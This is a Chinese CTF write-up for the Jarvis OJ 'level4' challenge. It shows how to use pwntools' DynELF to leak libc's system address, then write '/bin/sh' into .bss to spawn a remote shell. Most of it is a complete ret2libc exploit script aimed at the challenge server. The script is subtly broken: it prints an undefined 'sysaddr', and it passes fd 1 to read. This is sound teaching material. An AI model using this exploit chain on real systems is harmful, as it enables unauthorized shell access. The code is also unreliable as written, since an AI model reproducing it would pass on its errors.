这题与level3相比就是就是题目并没有给出对应的libc文件,这里就要学习使用一波DynELF函数了,这是pwntools的一个函数,使用前请确认安装完整pwntools工具。
前言:
DynELF函数是通过已知函数,迅速查找libc库,并不需要我们自己本身知道对应版本的libc文件。
这是DynELF函数使用的一个模板:
def leak(address):
payload=pad+p32(writeplt)+ret1+p32(1)+p32(address)+p32(4)
io.sendline(payload)
leak_sysaddr=io.recv(4)
#print "%#x => %s" % (address, (leak_sysaddr or '').encode('hex')) 这里是测试用,可省略。
return leak_sysaddr
d = DynELF(leak, elf=ELF("对应文件"))
sysaddr=d.lookup("system","libc")
pad为填充的垃圾数据,ret1为返回的地址(因为这里要重复利用漏洞,所以要选择有效合理的返回地址)。
详细使用方法请看安全客的技术分享:https://www.anquanke.com/post/id/85129
利用DynELF函数,我们可以泄露出system函数的地址,但是我们怎么找到/bin/sh呢?,当然文件本身是没有的,我们也没有办法泄露出来,怎么办呢?
这里我们就可以通过题目中含有的read函数,把/bin/sh读入进去,记住bss段的地址,再使用system函数调用就好了。
拿到题目,我们仍然是查看一下保护:
这是一个32位的程序,并且开了NX保护(开了堆栈不可执行,但是/bin/sh是参数,不是要执行的函数,函数system并不是我们填写到堆栈中的)。
接下来,我们开始找个个需要用到函数的地址:
我们要用到的函数有:
vulnerable_function()函数:
我们需要用他来做返回地址,才能够多次利用漏洞。
bss段地址(这个前面已经贴了图了)
write()函数的plt地址和read()函数的plt地址(这个虽然IDA可以直接查找到,但是我们可以用pwntools工具帮我们查找,更加省事 ,那怕是不一定)
找到所有的地址后我们就可以构造payload了,这里我构造了三个payload,当然,一些大佬使用 pop_pop_pop_ret 只构造两个payload也是非常适用的,我这里就不贴出大佬们的方法了。
下面是完整的exp:
#!/usr/bin/env python
from pwn import *
io=remote("pwn2.jarvisoj.com",9880)
elf=ELF("./level4")
vulner_function_address=0x804844B
write_plt=elf.plt["write"]
read_plt=elf.plt["read"]
bss_addr=0x0804a024
def leak(address):
payload="a"*0x88+"aaaa"+p32(write_plt)+p32(vulner_function_address)+p32(1)+p32(address)+p32(4)
io.sendline(payload)
leak_sysaddr=io.recv(4)
print "%#x => %s" % (address, (leak_sysaddr or '').encode('hex')) #调试用可省略(最好是省略)
return leak_sysaddr
d = DynELF(leak, elf=ELF("./level4"))
sys_addr=d.lookup("system","libc")
print hex(sysaddr)
payload1="a"*0x88+"aaaa"+p32(read_plt)+p32(vulner_function_address)+p32(1)+p32(bss_addr)+p32(8)
io.sendline(payload1)
io.sendline("/bin/sh")
payload2="a"*0x88+"aaaa"+p32(sys_addr)+p32(vulner_function_address)+p32(bss_addr)
io.sendline(payload2)
io.interactive()
运行结果:
由于这种题目flag不变,就码掉了,见谅!